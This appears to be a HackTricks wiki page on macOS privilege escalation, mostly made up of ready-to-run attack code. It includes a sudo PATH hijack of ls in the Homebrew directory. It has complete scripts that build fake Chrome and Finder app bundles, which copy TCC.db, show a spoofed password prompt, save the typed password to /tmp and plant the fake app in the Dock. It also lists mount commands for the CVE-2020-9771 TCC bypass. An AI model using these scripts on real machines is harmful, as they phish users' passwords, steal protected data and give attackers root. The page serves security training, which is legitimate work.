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macOS Privilege Escalation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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TCC Privilege Escalation

If you came here looking for TCC privilege escalation go to:

{% content-ref url="macos-security-protections/macos-tcc/" %} macos-tcc {% endcontent-ref %}

Linux Privesc

Please note that most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS machines. So see:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

User Interaction

Sudo Hijacking

You can find the original Sudo Hijacking technique inside the Linux Privilege Escalation post.

However, macOS maintains the user's PATH when he executes sudo. Which means that another way to achieve this attack would be to hijack other binaries that the victim sill execute when running sudo:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew installed. So it's possible to hijack binaries in /opt/homebrew/bin.

Dock Impersonation

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

{% tabs %} {% tab title="Chrome Impersonation" %} Some suggestions:

  • Check in the Dock if there is a Chrome, and in that case remove that entry and add the fake Chrome entry in the same position in the Dock array. 
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *cmd = "open /Applications/Google\\\\ Chrome.app & "
                "sleep 2; "
                "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
                "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
                "echo \$PASSWORD > /tmp/passwd.txt";
    system(cmd);
    return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>Google Chrome</string>
    <key>CFBundleIdentifier</key>
    <string>com.google.Chrome</string>
    <key>CFBundleName</key>
    <string>Google Chrome</string>
    <key>CFBundleVersion</key>
    <string>1.0</string>
    <key>CFBundleShortVersionString</key>
    <string>1.0</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundlePackageType</key>
    <string>APPL</string>
    <key>CFBundleIconFile</key>
    <string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %}

{% tab title="Finder Impersonation" %} Some suggestions:

  • You cannot remove Finder from the Dock, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to add the fake Finder entry at the beginning of the Dock array.
  • Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
  • Another options to escalate to root without asking the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
    • Ask Finder to copy to /etc/pam.d a new sudo file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
    • Ask Finder to copy a new Authorization Plugin (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *cmd = "open /System/Library/CoreServices/Finder.app & "
                "sleep 2; "
                "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
                "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
                "echo \$PASSWORD > /tmp/passwd.txt";
    system(cmd);
    return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>Finder</string>
    <key>CFBundleIdentifier</key>
    <string>com.apple.finder</string>
    <key>CFBundleName</key>
    <string>Finder</string>
    <key>CFBundleVersion</key>
    <string>1.0</string>
    <key>CFBundleShortVersionString</key>
    <string>1.0</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundlePackageType</key>
    <string>APPL</string>
    <key>CFBundleIconFile</key>
    <string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %} {% endtabs %}

TCC - Root Privilege Escalation

CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

Any user (even unprivileged ones) can create and mount a time machine snapshot an access ALL the files of that snapshot.
The only privileged needed is for the application used (like Terminal) to have Full Disk Access (FDA) access (kTCCServiceSystemPolicyAllfiles) which need to be granted by an admin.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

A more detailed explanation can be found in the original report.

Sensitive Information

This can be useful to escalate privileges:

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

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